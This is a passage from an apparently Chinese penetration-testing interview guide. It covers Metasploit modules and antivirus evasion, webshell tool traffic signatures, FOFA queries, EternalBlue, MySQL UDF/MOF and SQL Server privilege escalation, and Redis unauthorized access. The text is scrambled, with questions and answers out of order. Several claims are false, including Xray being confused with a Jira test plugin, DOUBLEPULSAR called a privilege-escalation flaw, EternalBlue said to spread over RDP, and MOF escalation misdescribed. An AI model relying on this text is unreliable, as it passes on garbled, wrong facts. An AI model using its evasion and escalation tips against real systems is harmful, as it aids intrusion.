3. 利用漏洞绕过:如果存在漏洞可以绕过验证码或Token,可以尝试利用漏洞进行绕过。例如,可以通过SQL注入等方式绕过验证码或Token。
4. 修改请求参数绕过:可以尝试修改请求参数绕过验证码或Token。例如,可以在请求中添加一些特殊字符或者修改请求头信息,以绕过验证码或Token的校验。第十七章 MSF#
一、说一下 msf 使用的情况说一下 msf 端口的作用#
在使用Metasploit Framework (MSF) 进行渗透测试时,可以使用以下几个常见的搜索命令进行漏洞检索和模块查询:
search: 使用search命令可以搜索MSF框架中的模块,可以根据模块名称、作者、描述等关键字进行搜索, info: 使用info命令可以获取MSF框架中模块的详细信息,包括模块名称、作者、描述、漏洞编号、参考链接等, use: 使用use命令可以选择要使用的漏洞利用模块, show: 使用show命令可以查看当前模块的选项和参数, set: 使用set命令可以设置当前模块的选项和参数, unset: 使用unset命令可以取消当前模块的选项和参数的设置, check: 使用check命令可以检查目标主机是否存在漏洞, 以上是MSF中常见的一些搜索命令,可以帮助渗透测试人员快速定位漏洞和利用模块,提高渗透测试的效率。
常用的MSF模块包括漏洞利用模块、辅助模块、扫描模块等。其中,漏洞利用模块是MSF的重点模块,常见的漏洞利用模块包括:#
内网MSF用来监听的模块通常是 multi/handler 模块,它可以监听多个payload类型,例如 meterpreter 和 shell。
MSF做信息搜集可以使用以下几个常用的模块:#
MSF免杀技术是指在使用MSF进行渗透测试时,通过各种手段绕过杀软的检测,以提高攻击成功率。以下是一些常见的MSF免杀技术:1. 使用加壳器:加壳器可以将MSF生成的#
payload进行加密和混淆,以绕过杀软的检测。常见的加壳器包括UPX、ASPack、PECompact等。2. 自定义payload:攻击者可以自行编写payload代码,避免使用MSF默认的 payload,这样可以避免被杀软识别。3. 修改payload:攻击者可以对MSF生成的payload进行修改,例如修改payload名称和文件格式等,以绕过杀软检测。4. 使用Meterpreter 反向连接:Meterpreter是MSF的一种payload类型,可以通过反向连接的方式与攻击者建立连接,避免在目标主机上留下可被杀软检测到的文件。5. 使用特殊字符:攻击者可以 在payload中使用特殊字符和编码,以绕过杀软检测。6. 模块混淆:攻击者可以对MSF模块进行混淆,使其难以被杀软检测到。总之,MSF免杀技术是一项非常重要的技术,可以 帮助攻击者更好地进行渗透测试。
二、说一下 msf 常见的搜索命令#
三、说一下你常用的 msf 模块以及模块的功能 msf 会话连接,session 失效了,什么原因?说一下#
msf 的 handler 监听模块#
1. exploit:执行漏洞利用攻击的模块,例如常见的smb、ms17_010等漏洞利用攻击模块。
2. payload:生成和注入payload的模块,例如常见的meterpreter、shell等payload。
3. auxiliary:提供辅助功能的模块,例如端口扫描、漏洞检测、文件上传等辅助模块。
4. post:提供后渗透的功能模块,例如横向移动、数据窃取、权限提升等后渗透模块。 MSF会话连接是指在漏洞利用成功后,攻击者与受害主机建立的交互式会话。如果MSF
会话连接超时或者被管理员手动关闭,会话将失效。此外,如果MSF会话连接不稳定,也可能会导致会话失效,例如网络不稳定、目标主机重启等情况。MSF的handler监听模块是用于监听反弹shell或Meterpreter回连的模块。在攻击目标主机时,可以使用MSF的payload生成模块生成反弹shell或者Meterpreter的
payload,并将payload注入到目标主机中。然后在攻击者的机器上启动handler监听模块,等待目标主机回连。当目标主机回连后,攻击者可以通过handler监听模块与目
标主机建立交互式会话,获取目标主机的控制权。 总之,MSF的模块非常丰富,可以帮助渗透测试人员进行漏洞利用、后渗透等多种任务,提高渗透测试的效率。四、内网 msf 用来监听的模块叫什么名字?msf 做信息搜集要用哪些模块?简述一种 MSF 简单的使#
用方式#
1. scanner: 用于扫描目标主机的开放端口和服务信息,例如 tcp_syn_scan 和 udp_scan 等扫描模块,还有 smb_version 和 http_version 等服务版本扫描模块。
2. gather: 用于获取目标主机的系统信息、用户信息、网络拓扑等信息,例如 windows/gather/enum_shares 和 windows/gather/enum_logged_on_users 等信息搜集模
块。
3. auxiliary: 提供各种辅助功能的模块,例如 smb_enumshares 和 http_ntlmrelay 等辅助模块,可以帮助渗透测试人员进行更深入的信息搜集和攻击。简单使用MSF的方式:#
4. 启动控制台:在终端中输入 msfconsole 启动MSF控制台。
5. 搜索模块:使用 search 命令搜索需要的模块。
6. 选择模块:使用 use 命令选择需要使用的模块。
7. 配置参数:使用 show options 命令查看模块参数,使用 set 命令配置模块参数。
8. 运行模块:使用 exploit 命令执行模块。
9. 获取会话:如果漏洞利用成功,可以使用 sessions 命令查看会话列表,使用 session -i <session id> 命令进入会话。
10. 执行命令:在会话中可以执行各种命令,例如 shell 命令可以进入目标主机的shell界面, sysinfo 命令可以查看目标主机的系统信息等。 总之,MSF是一款非常强大的
渗透测试工具,具有丰富的模块和功能,可以帮助渗透测试人员进行漏洞利用、后渗透等多种任务。五、msf 怎么做免杀?#
漏洞扫描工具是指用于自动化扫描目标系统中存在的漏洞的软件。常见的漏洞扫描工具包括NESSUS、OpenVAS、AWVS等。其中,NESSUS和AWVS是比较常用的两款漏洞扫描 工具。
NESSUS主要扫描以下几类漏洞:1. 操作系统漏洞:包括系统服务的漏洞、操作系统配置错误等。2. 应用程序漏洞:包括Web应用程序、数据库等应用程序的漏洞。3. 安全配置 漏洞:包括密码强度、访问控制、加密等安全配置方面的漏洞。4. 恶意软件检测:包括病毒、木马等恶意软件的检测。
AWVS主要扫描以下几类漏洞:1. Web应用程序漏洞:包括SQL注入、跨站脚本攻击、文件包含漏洞等。2. Web服务器配置问题:包括Web服务器版本信息泄露、目录浏览等配 置问题。3. Web应用程序配置问题:包括文件权限、会话管理、加密强度等配置问题。4. Web应用程序安全策略:包括CSRF、XSS、CSP等安全策略问题。
AWVS(Acunetix Web Vulnerability Scanner)是一款常用的Web应用程序漏洞扫描工具,它可以自动化扫描Web应用程序中存在的漏洞,并生成详细的报告,帮助用户更好地 识别和修复漏洞。
下面是AWVS的使用方法:
AWVS(Acunetix Web Vulnerability Scanner)是一款常用的Web漏洞扫描器,能够识别和检测Web应用程序中的各种漏洞,例如SQL注入、跨站脚本、目录遍历等。
以下是AWVS中常见的漏洞类型:
1.SQL注入漏洞:攻击者通过恶意注入SQL代码来执行非授权的数据库查询操作,从而获取敏感信息或者控制数据库。
2.XSS漏洞:攻击者通过输入恶意的脚本代码来在用户浏览器中执行攻击代码,从而进行钓鱼、盗取用户信息等攻击。
3.目录遍历漏洞:攻击者通过输入恶意的URL参数,绕过应用程序的输入验证,进而访问与应用程序本身不应被访问的文件或目录,造成安全问题。
4.文件上传漏洞:攻击者通过上传恶意的文件来执行非授权的操作,例如执行系统命令、获取敏感信息等。
AWVS有四种扫描模式,分别是:
1.High Risk Vulnerabilities Scan:高危漏洞扫描模式,主要检测一些常见的高危漏洞,例如SQL注入、XSS等。
2.Cross-site Scripting Scan:跨站脚本扫描模式,主要检测Web应用程序中的XSS漏洞。
3.SQL Injection Scan:SQL注入扫描模式,主要检测Web应用程序中的SQL注入漏洞。
4.Full Scan:全面扫描模式,主要检测Web应用程序中的所有漏洞类型,包括高危漏洞、XSS、SQL注入等。
蚁剑、冰蝎、哥斯拉、菜刀都是常见的远程管理工具,它们的流量特征如下:#
Xray是一款自动化Web应用程序漏洞扫描工具,其原理可以简单概括为:
六、漏洞扫描工具、NESSUS 主要扫描什么漏洞?AWVS 主要扫描什么漏洞?#
七、AWVS 是什么?怎么使用?#
1. 下载和安装AWVS:可以从AWVS官网下载并安装AWVS软件。2. 新建扫描目标:在AWVS界面中,选择“新建目标”并输入需要扫描的URL地址或IP地址,然后选择扫描类型#
(快速扫描、高级扫描等)。3. 配置扫描选项:在目标创建完成后,可以选择“扫描选项”来配置扫描选项,例如扫描策略、扫描速度等。4. 启动扫描:配置完扫描选项后,#
可以点击“扫描”按钮开始扫描目标。扫描过程中,AWVS会自动检测目标中存在的漏洞,并在控制台中显示扫描进度和扫描结果。5. 查看扫描结果:扫描完成后,可以在#
AWVS界面中查看扫描结果。AWVS会生成详细的漏洞报告,包括漏洞类型、漏洞等级、漏洞位置、修复建议等信息。6. 修复漏洞:根据AWVS的漏洞报告,可以及时修复目#
标中存在的漏洞,提高Web应用程序的安全性。八、熟悉 awvs 吗?他有什么漏洞?说一下 awvs 四种模式的区别#
九、说一下蚁剑、冰蝎、哥斯拉、菜刀的流量特征#
1. 蚁剑:蚁剑的流量特征比较明显,使用HTTP协议进行通信,常见的User-Agent是Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0,而且在请求头中会带有一些特定的参数和标识符,例如ant、antS、antSword、antSwordClient等。
2. 冰蝎:冰蝎的流量特征相对比较隐蔽,使用自定义协议进行通信。在网络上,冰蝎的流量常被称为"China Chopper",因为其流量特征和"China Chopper"远程管理工具类
似,常见的User-Agent是Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko。
3. 哥斯拉:哥斯拉的流量特征也比较明显,使用HTTP协议进行通信,常见的User-Agent是Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1),而且在请求头中会带
有一些特定的参数和标识符,例如Content-Type、cmd、fun等。
4. 菜刀:菜刀的流量特征与蚁剑类似,使用HTTP协议进行通信,常见的User-Agent是Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1),而且在请求头中会带有一些特定
的参数和标识符,例如Content-Type、Execute、Shell等。 总之,了解这些远程管理工具的流量特征可以帮助安全人员及时发现和防范恶意攻击行为。十、Xray 的原理是什么?#
1. Xray利用Go语言开发,使用了多种技术和算法,包括并发控制、分布式扫描、漏洞检测等,对Web应用程序进行自动化漏洞扫描。
2. Xray可以通过多种方式获取目标信息,包括URL列表、域名、IP地址等,也可以根据用户提供的参数进行定制化扫描。
3. Xray使用了多种漏洞检测技术,包括主动式扫描、被动式扫描、指纹识别等,可以对常见的Web应用程序漏洞进行检测和识别。
4. Xray还具备分布式扫描功能,可以通过多个节点协同工作,提高扫描效率和准确性。是的,Xray 可以与许多其他工具结合使用,以提高其功能和效果。以下是一些常见的工具和 Xray 的集成:
是的,我搭建过虚拟机环境,并且经常使用虚拟机进行各种测试和开发。以下是我使用虚拟机的一些例子:#
永恒之蓝是利用NSA(美国国家安全局)从Windows操作系统的漏洞中发掘的漏洞库:ETERNALBLUE、DOUBLEPULSAR等,通过这些漏洞库进行攻击。具体来说,利用 ETERNALBLUE漏洞实现远程代码执行,利用DOUBLEPULSAR漏洞实现权限提升。 关于虚拟机的问题,永恒之蓝并没有使用特定的虚拟机。永恒之蓝是一种利用漏洞的攻击方 式,可以在各种操作系统和环境中运行,并不依赖于特定的虚拟机。至于永恒之蓝是否在漏洞研究和开发时使用了虚拟机,这个信息是无法确定的。
至于使用了Kali Linux中的哪个功能,永恒之蓝并不是Kali Linux的功能,而是一种攻击方式,可以在Kali Linux中使用各种工具来实现,例如Metasploit等。
永恒之蓝可以用来攻击运行Windows操作系统的计算机,通过利用漏洞实现远程代码执行和权限提升,从而控制目标计算机,并进行各种恶意活动,例如窃取敏感信息、加密文 件勒索、挖矿等等。攻击者可以通过网络将永恒之蓝传播到其他计算机中,从而形成大规模的攻击。
为了防护永恒之蓝的攻击,可以采取以下措施:1. 及时更新操作系统:永恒之蓝利用的是Windows操作系统的漏洞,及时更新操作系统可以修补这些漏洞,从而防止攻击。2. 安 装安全补丁:Microsoft发布了相关的安全补丁,可以修复永恒之蓝利用的漏洞,建议及时安装。3. 使用安全软件:安装防病毒软件、防火墙等安全软件,可以提高系统的安全 性,并及时发现和阻止永恒之蓝的攻击。4. 禁止远程桌面协议(RDP):永恒之蓝攻击往往利用RDP漏洞进行传播,禁用或限制RDP的使用可以减少攻击风险。5. 加强网络安 全:加强网络防护措施,例如使用入侵检测系统(IDS)、加密数据传输、限制网络访问等,可以防止永恒之蓝的传播和攻击。
防火墙是一种网络安全设备,主要用于保护计算机和网络免受未经授权的访问和攻击。防火墙的原理是通过对网络流量的监控和过滤,实现对不同类型的数据包进行限制和控#
制,从而保护系统的安全性。 具体来说,防火墙通过以下几个方面来实现其原理:#
WAF(Web Application Firewall)和IPS(Intrusion Prevention System)都是网络安全设备,但它们的作用和功能有所不同。 WAF主要用于保护Web应用程序的安全,它是一 种特殊的防火墙,通常部署在Web服务器前端,监控和过滤Web应用程序的流量,以检测和阻止Web攻击,例如SQL注入、跨站点脚本攻击(XSS)等。WAF通过分析 HTTP/HTTPS流量,识别和阻止恶意请求,并保护Web应用程序的安全性。 IPS主要用于网络安全,它是一种监控和预防网络攻击的系统,可以检测和阻止各种网络攻击,例如入 侵、病毒、蠕虫、DoS攻击等。IPS通过分析网络流量、识别和阻止恶意流量,并在网络中断攻击流量之前,快速响应和防御网络攻击。
5. Xray可以生成详细的扫描报告,包括漏洞类型、漏洞等级、漏洞位置、修复建议等信息,帮助用户更好地识别和修复漏洞。 总之,Xray是一款高效、准确、可靠的Web应用
程序漏洞扫描工具,其原理基于多种技术和算法,能够自动化地对Web应用程序进行漏洞扫描,帮助用户及时发现和修复漏洞,提高Web应用程序的安全性。十一、Xray 有没有搭配别的工具一起使用?#
1. Jira:Xray 可以与 Jira 集成,以便测试人员可以在 Jira 中创建和管理测试用例、测试计划和测试执行。
2. TestRail:Xray 可以与 TestRail 集成,以便测试人员可以在 TestRail 中执行测试,跟踪测试结果和生成测试报告。
3. Jenkins:Xray 可以与 Jenkins 集成,以便测试人员可以在 Jenkins 中自动化执行测试,并将测试结果反馈到 Xray 中。
4. GitLab:Xray 可以与 GitLab 集成,以便测试人员可以在 GitLab CI/CD 管道中自动化执行测试,并将测试结果反馈到 Xray 中。
5. Selenium:Xray 可以与 Selenium 集成,以便测试人员可以在 Selenium 中编写和执行自动化测试,并将测试结果反馈到 Xray 中。 总之,Xray 可以与许多其他工具集
成,以提高测试的效率和准确性。十二、自己搭过虚拟机环境吗?用虚拟机做过什么?#
1. 测试不同操作系统:我可以在虚拟机中运行不同的操作系统,例如 Windows、Linux、macOS 等,并测试应用程序在这些操作系统中的兼容性和表现。
2. 安全测试:我可以在虚拟机中运行恶意软件,并观察其行为和影响,以测试安全解决方案的有效性。
3. 网络测试:我可以在虚拟机中模拟不同的网络环境,例如低带宽、高延迟等,并测试应用程序在这些网络环境下的表现和稳定性。
4. 开发环境:我可以在虚拟机中搭建开发环境,例如 Java、Python、Node.js 等,并进行开发和测试。 总之,虚拟机是一个非常有用的工具,可以帮助我进行各种测试和开
发,同时也可以帮助我在不同的操作系统和环境中运行应用程序,以便更好地了解其表现和性能。十三、问永恒之蓝是用的哪个虚拟机?问用了 kali 的哪个功能永恒之蓝的原理是什么?#
十四、永恒之蓝可以用来干什么?怎么防护永恒之蓝?#
十五、说一下防火墙的原理#
1. 区分内外网络:防火墙将网络分为内部网络和外部网络,通过定义规则来限制内部网络与外部网络之间的通信。#
2. 过滤数据包:防火墙对网络流量进行监控和过滤,根据不同的规则对数据包进行审查,其中包括端口、协议、源和目的地等信息。#
3. 阻止攻击:防火墙可以通过识别和阻止恶意流量,例如拒绝服务攻击(DDoS)和端口扫描等,来保护系统的安全性。
4. 记录日志:防火墙可以记录和监控网络流量,并生成日志文件,以便对安全事件进行检测和响应。十六、waf 和 ips 有什么区别?#
防火墙和下一代防火墙的区别主要在于技术和功能方面。传统的防火墙主要是基于端口和IP地址进行过滤,而下一代防火墙则引入了更多的技术,例如应用程序识别、用户行为#
分析和流量分析等,能够更准确地检测和防御各种网络攻击。另外,下一代防火墙还支持云安全、虚拟化安全、移动设备安全等新的安全需求,能够更好地应对当前复杂多变的#
网络环境和威胁。#
Kali使用Metasploit扫描端口需要按照以下步骤进行:1. 打开终端窗口,输入msfconsole命令打开Metasploit控制台。2. 输入search portscan命令,查看可用的扫描模块。3. 选择一个适合的端口扫描模块,例如auxiliary/scanner/portscan/tcp。4. 输入use auxiliary/scanner/portscan/tcp命令,选择该模块。5. 输入show options命令,查看该模块 需要设置的参数。6. 设置相应的参数,例如设置RHOSTS为要扫描的IP地址范围,设置THREADS为并发扫描线程数等。7. 输入run命令,开始扫描。
Kali Linux是一款专门用于渗透测试和网络安全评估的操作系统,常见的命令包括:1. nmap:网络扫描工具,用于探测目标主机的开放端口和服务信息。2. metasploit:渗透测 试框架,用于开发和执行各种漏洞攻击。3. hydra:密码破解工具,用于暴力破解各种登录认证。4. sqlmap:SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。5. aircrack-ng:无线网络安全工具,用于破解无线网络密码。6. openssl:加密和解密工具,用于生成和管理证书、密钥等。7. tcpdump:网络嗅探工具,用于捕获网络数据包和 分析网络流量。8. wireshark:网络分析工具,用于分析和解码网络数据包。
菜刀是一种远程控制工具,它使用对称加密算法来保护通信安全。具体来说,菜刀使用XOR(异或)算法进行数据加密和解密。XOR算法是一种简单的对称加密算法,它使用相#
同的密钥进行加密和解密,加密和解密的过程都是异或操作。菜刀通过对通信数据进行XOR加密,可以有效地保护通信内容的安全。#
冰蝎是一种常见的远程控制工具,其流量特征和加密方式如下:#
防火墙和WAF(Web Application Firewall)的区别主要在以下几个方面:
FOFA(Find Open Files and Assets)是一款基于互联网数据采集的搜索引擎,主要用于搜索和发现互联网上的开放文件和资产信息。使用FOFA主要分为以下几个步骤:1. 打开 FOFA官网,输入关键字进行搜索。2. 根据搜索结果进行筛选和排序,获取目标信息。3. 对目标信息进行进一步的分析和利用。
在平时使用FOFA时,常用的关键字包括:- IP地址:例如"ip:xxx.xxx.xxx.xxx”,用于查找具有特定IP地址的主机。- 域名:例如"domain:example.com”,用于查找特定域名下的 所有主机。- 端口号:例如"port:80”,用于查找具有特定端口号的服务。- 关键词:例如"title:“admin login”",用于查找具有特定关键词的Web页面。
平时使用FOFA的主要目的包括:- 搜集目标信息:使用FOFA可以快速搜集互联网上与目标相关的信息,例如IP地址、子域名、开放端口等。- 评估目标安全:使用FOFA可以查找#
目标主机上的漏洞、弱口令等安全问题,有助于评估目标安全风险。- 攻击目标系统:使用FOFA可以查找具有特定漏洞或弱口令的目标系统,有助于进行攻击和渗透测试。总#
之,FOFA是一款非常实用的信息搜集工具,可以帮助安全研究人员和黑客更好地了解目标系统和网络环境,提高攻击效率和成功率。但同时也需要注意合法使用,避免违反法律#
法规和道德规范。#
十七、防火墙和下一代防火墙有什么区别? kali 使用 metasploit 怎么扫端口的? kali 的常见命令#
有哪些?#
十八、菜刀使用什么加密?#
十九、冰蝎的流量特征是什么?冰蝎使用什么加密?#
1. 流量特征:#
冰蝎的流量通常使用HTTP或HTTPS协议进行传输,可以借助网络安全设备进行监测和检测。- 冰蝎的流量使用Base64编码进行混淆,可以混淆数据包的内容,增加检测难
度。- 冰蝎的流量有一定的明显特征,例如URL路径、User-Agent等字段。
1. 加密方式:冰蝎使用AES算法进行数据加密,密钥长度为 128 位。- 冰蝎的AES密钥使用RSA算法进行非对称加密,可以增强通信的安全性。- 冰蝎使用RSA算法进行握手协议,可以确保
通信双方的身份和安全性。 总之,冰蝎的流量特征和加密方式相对较为复杂,需要借助专业的安全设备和技术手段进行检测和防范。二十、防火墙和 waf 的区别?#
1. 保护范围不同:防火墙主要是保护网络系统和设备的安全,而WAF主要是保护Web应用程序的安全。
2. 工作原理不同:防火墙基于网络层和传输层协议进行过滤,主要是根据IP地址、端口号、协议类型等规则进行判断和防御;而WAF基于应用层协议进行过滤,主要是根据
HTTP请求和响应的内容、参数、方法等规则进行检测和防御。
3. 检测精度不同:WAF能够识别和防御更加复杂的Web攻击,例如SQL注入、跨站点脚本攻击(XSS)、文件包含等,而防火墙的检测能力相对较弱。
4. 部署位置不同:防火墙通常部署在网络边界,控制网络流量的进出口,而WAF通常部署在Web服务器前端,拦截和过滤Web请求和响应。 需要注意的是,防火墙和WAF都
是网络安全设备,二者之间并不存在绝对的界限,有些WAF功能也包含在防火墙之中,而一些防火墙也具备一定的WAF功能。在具体应用中,需要根据实际需求和安全风险
进行选择和部署。二十一、fofa 使用的方式,平时使用 fofa 主要使用那些关键字?你平时都用 fofa 来做些什么?#
常用的FOFA语法搜索包括:- IP地址搜索:格式为"ip:xxx.xxx.xxx.xxx”,用于查找具有特定IP地址的主机。- 域名搜索:格式为"domain:example.com”,用于查找特定域名下的 所有主机。- 端口搜索:格式为"port:80”,用于查找具有特定端口号的服务。- 协议搜索:格式为"protocol:https”,用于查找使用特定协议的服务。- 页面关键词搜索:格式 为"title:“admin login”",用于查找具有特定关键词的Web页面。- HTTP响应头搜索:格式为"header:Server: Apache”,用于查找具有特定HTTP响应头的服务。
除了FOFA之外,还可以使用其他工具来查看网站的旁站,例如:- Ping:使用ping命令可以查看目标网站的IP地址,然后使用IP地址进行探测和扫描。- 子域名枚举工具:例如 DNSCAN、Sublist3r、Subfinder等工具,可以自动化地查找目标网站的子域名,并进行探测和扫描。- 网络空间搜索引擎:例如Shodan、Censys等工具,可以通过搜索引擎的 方式查找与目标网站相关的信息和资产。
FOFA是一款非常实用的信息搜集工具,但是它也存在一些需要改进的地方,例如:1. 搜索结果的准确性:由于FOFA的搜索结果是基于爬虫采集的数据,因此可能存在一定的误#
差和过时性,需要进行人工核实和确认。2. 语法搜索的复杂度:FOFA的语法搜索相对较为复杂,需要掌握一定的搜索技巧和语法规则,对于初学者不太友好。3. 排序和过滤功能#
的限制:FOFA的排序和过滤功能相对简单,无法灵活地满足各种搜索需求,需要进行二次筛选和处理。#
至于FOFA的全端口扫描,确实存在一定的问题,例如速度较慢、资源占用较高等。因此,在实际使用时需要结合自己的实际需求和情况进行选择,有时候也需要使用其他工具和#
方法进行协助,例如使用nmap进行端口扫描。
MySQL 写一句话的前提是网站存在 SQL 注入漏洞,通过构造特定的 SQL 语句来执行攻击者想要的操作。
MySQL 的左连和右连都是连接两个表的方式,不同之处在于左连会返回左表中所有的记录以及与右表匹配的记录,右连则返回右表中所有的记录以及与左表匹配的记录。左连和 右连都是用于连接两个表,并将符合条件的记录返回给用户。左连和右连的区别在于返回的数据集中,是否包含左表中所有的记录或右表中所有的记录。如果使用左连,那么即 使右表中没有与左表匹配的记录,左表中也会包含所有的记录。而如果使用右连,则右表中所有的记录都会被返回,即使左表中没有与右表匹配的记录。
MySQL 的 udf 提权和 mof 提权都是一种利用 MySQL 中的用户自定义函数 (User Defined Function,简称 UDF) 功能来提升攻击者的权限的方式。 UDF 提权的原理是,攻击者 在本地编写一个恶意的动态链接库文件,然后将其上传到目标服务器上,并通过 MySQL 中的 UDF 功能将其加载到 MySQL 中。当一个包含恶意 UDF 调用的 SQL 语句被执行 时,攻击者的代码也会被执行,从而实现提权。 MOF 提权的原理与 UDF 提权类似,只是攻击者需要利用 MySQL 的文件读写功能,将恶意的动态链接库文件写入到 MySQL 数据 库的表中。当该表被查询时,攻击者的代码也会被执行,从而实现提权。
MySQL 拿权限的条件是需要拥有足够的权限或者利用漏洞提升权限。如果攻击者已经拥有了 MySQL 数据库的某个用户的权限,可以通过提权的方式来获取更高的权限。如果攻 击者没有任何权限,则需要寻找 MySQL 数据库中的漏洞,例如 SQL 注入漏洞,来提升权限。
MySQL 中的 os-getshell 命令是通过执行操作系统的命令来实现 getshell 的。攻击者可以通过构造 SQL 语句,调用 MySQL 的 UDF 函数,从而执行操作系统的命令,进而获取 服务器的控制权。
对于给定的一个 MySQL 数据库为基础的网站,如果要 getshell,需要先进行信息收集,了解网站的架构、数据库类型和版本、开放的端口等信息。然后可以通过漏洞扫描或手动 测试,尝试寻找网站中存在的漏洞,如 SQL 注入漏洞、文件上传漏洞等。如果成功找到漏洞,就可以构造特定的 SQL 语句,执行攻击,获取服务器的控制权。
我了解过 MySQL、Oracle、SQL Server、PostgreSQL 等数据库。这些数据库在功能、性能、安全性等方面都有区别,攻击方法也会因为不同的数据库而有所不同。
MySQL数据库5.0之前和5.0之后版本的区别主要表现在以下方面:
二十二、fofa 的语法搜索你常用到哪些?除了 fofa 怎么查看旁站?#
二十三、你觉得 FOFA 有什么需要改进的地方?有没有觉得 FOFA 的全端口扫描不太好?#
第十八章 数据库#
一、说一下 MySQL 写一句话的前提说一下 mysql 的左连和右连#
二、说一下 mysql 的 udf 提权和 mof 提权的原理说一下 MySQL 拿权限的条件#
三、mysql 中的 os-getshell 命令是怎么实现 getshell 的?给你一个数据库为 MySQL 的网站,你#
怎么 getshell?了解过那些数据库?#
四、mysql 数据库 5.0 之前和 5.0 之后版本区别? mysql5.0 以上多了什么数据库?#
1. 存储引擎的增加:5.0版本之前,MySQL只支持MyISAM和Heap两种存储引擎,而5.0版本之后增加了InnoDB、BDB、Merge等多个存储引擎,使得MySQL在数据管理和数
据处理上更加灵活。
2. 触发器的支持:5.0版本开始,MySQL开始支持触发器,可以在指定的表上自动执行一些操作,方便了开发者的数据管理工作。
3. 安全功能的增强:5.0版本之后,MySQL增加了更多的安全功能,如密码加密、更为严格的权限控制等,使得MySQL在安全性方面更加可靠。MySQL 提权方式主要有以下几种:
如果 MySQL 数据库被入侵(udf 提权方式)后,攻击者会将恶意的 UDF 函数加载到 MySQL 的内存中,因此在数据库中是无法直接发现入侵痕迹的。但是,可以通过检查 MySQL 的系统日志、操作系统的日志等来发现异常行为,如登录时间、登录 IP、执行的 SQL 语句等。此外,也可以通过监控网络流量和主机进程等方式来发现异常行为。
对于必须使用拼接 SQL 语句的应用程序,修复的方法主要有以下几种:1. 使用预编译语句:预编译语句是将 SQL 语句和参数分开处理,可以有效防止 SQL 注入攻击,推荐使 用。2. 进行输入验证和过滤:在应用程序中对用户输入进行验证和过滤,可以过滤掉一些恶意的 SQL 语句,但是无法防止攻击者通过一些变异的 SQL 语句进行攻击。3. 使用存 储过程:存储过程可以在数据库中预先定义好 SQL 语句,避免通过拼接 SQL 语句来执行数据库操作,从而有效防止 SQL 注入攻击。4. 使用白名单:在应用程序中定义一个白名 单,只允许特定的操作和 SQL 语句,可以有效避免攻击者利用 SQL 注入漏洞执行恶意操作。 除了修复应用程序中的漏洞,还需要及时修补 MySQL 的安全漏洞,并加强对 MySQL 数据库的基本权限保护。
Redis 未授权访问可以导致攻击者获取 Redis 数据库的控制权,从而对数据库进行恶意操作,如篡改数据、删除数据等。一般情况下,攻击者可以通过以下步骤来利用 Redis 未 授权访问漏洞获取权限:
Redis 数据库未授权访问的连接方式:Redis 数据库未授权访问可以使用 Redis 客户端工具连接到 Redis 数据库,如 redis-cli、phpredis 等。通常情况下,攻击者可以通过以下 命令连接到 Redis 数据库:redis-cli -h [redis-ip] -p [redis-port]其中,[redis-ip] 表示 Redis 数据库的 IP 地址,[redis-port] 表示 Redis 数据库的端口号。如果 Redis 数据库开放了未授权访问的端口,则可以直接连接到 Redis 数据库并执行恶意的 Redis 命令。
SQL Server 的提权方式:SQL Server 的提权方式主要有以下几种:- 利用 SQL Server 中的 xp_cmdshell 存储过程:攻击者可以构造特定的 SQL 语句,利用 xp_cmdshell 存储 过程执行恶意代码,从而获取系统管理员权限。- 利用 SQL Server 中的系统存储过程:攻击者可以利用系统存储过程,如 sp_addlogin、sp_addsrvrolemember 等,创建或修 改系统管理员账号,从而获取系统管理员权限。- 利用 SQL Server 中的 SQL 注入漏洞:攻击者可以通过 SQL 注入漏洞,执行恶意的 SQL 语句,从而获取系统管理员权限。- 利 用 SQL Server 中的弱口令:攻击者可以通过猜测或爆破 SQL Server 的弱口令,从而登录到 SQL Server 并获取系统管理员权限。为了防止 SQL Server 的提权攻击,需要加强对 SQL Server 的安全配置,如禁用 xp_cmdshell 存储过程、对 SQL Server 进行基本权限保护、加强对 SQL Server 的访问控制等。同时,也需要及时修补 SQL Server 的安全漏 洞,避免被攻击者利用未知漏洞进行攻击。
MySQL 数据库写入文件:MySQL 数据库可以使用 SELECT…INTO OUTFILE 或者 LOAD DATA INFILE 等操作将数据写入文件中。需要具有 FILE 权限才能进行写入文件操作,同 时也需要指定写入的目录和文件名,并且目录必须是 MySQL 有权限操作的目录。
4. 存储过程和函数的支持:5.0版本之后,MySQL开始支持存储过程和函数,使得开发者可以通过自定义存储过程和函数来更加方便地实现一些复杂的数据处理操作和业务逻
辑。
5. 性能优化:5.0版本之后,MySQL在性能优化方面也进行了很多的改进,如查询优化器的升级、缓存机制的改进等,使得MySQL的性能得到了大幅提升。MySQL 5.0 以上版本增加了更多的数据库引擎,如InnoDB、MyISAM、Memory、CSV、Archive等。这些引擎具有不同的特点和应用场景,可以根据实际需求进行选择和
配置。此外,MySQL 5.0版本之后还加入了一些新的功能,如事件调度器、分区表等,也更加方便了开发者的应用开发和数据管理工作。五、说一下 MySQL 提权方式?#
1. 利用 MySQL 中的用户自定义函数(User Defined Function,简称UDF)功能,通过本地编写一个恶意的动态链接库文件,将其上传到目标服务器上,并通过 MySQL 中的
UDF 功能将其加载到 MySQL 中,从而实现提权。
2. 利用 MySQL 中的文件读写功能,将恶意的动态链接库文件写入到 MySQL 数据库的表中,当该表被查询时,攻击者的代码也会被执行,从而实现提权。
3. 利用 MySQL 中的 Stored Procedure(存储过程)功能,构造特定的存储过程,在存储过程中执行恶意代码,从而实现提权。
4. 利用 MySQL 中的 SQL 注入漏洞,在注入语句中执行恶意代码,从而实现提权。
5. 利用 MySQL 中的临时表功能,构造特定的 SQL 语句,在临时表中执行恶意代码,从而实现提权。 攻击者在针对 MySQL 进行提权时,通常需要先获取到一些基本的权限,
然后再通过上述方法来提高自己的权限。因此,防止 MySQL 提权的关键在于加强对基本权限的保护,同时及时修补 MySQL 的安全漏洞。六、MySQL 数据库被入侵(udf 提权方式)后,在哪个库哪个表中可以发现入侵痕迹?必须用到拼#
接 sql 语句怎么修复?#
七、redis 未授权怎么利用拿权限#
1. 查找 Redis 未授权访问漏洞:使用类似 nmap、masscan 等工具进行端口扫描,查找 Redis 数据库是否开放了未授权访问的端口。2. 访问 Redis 数据库:如果找到可访问
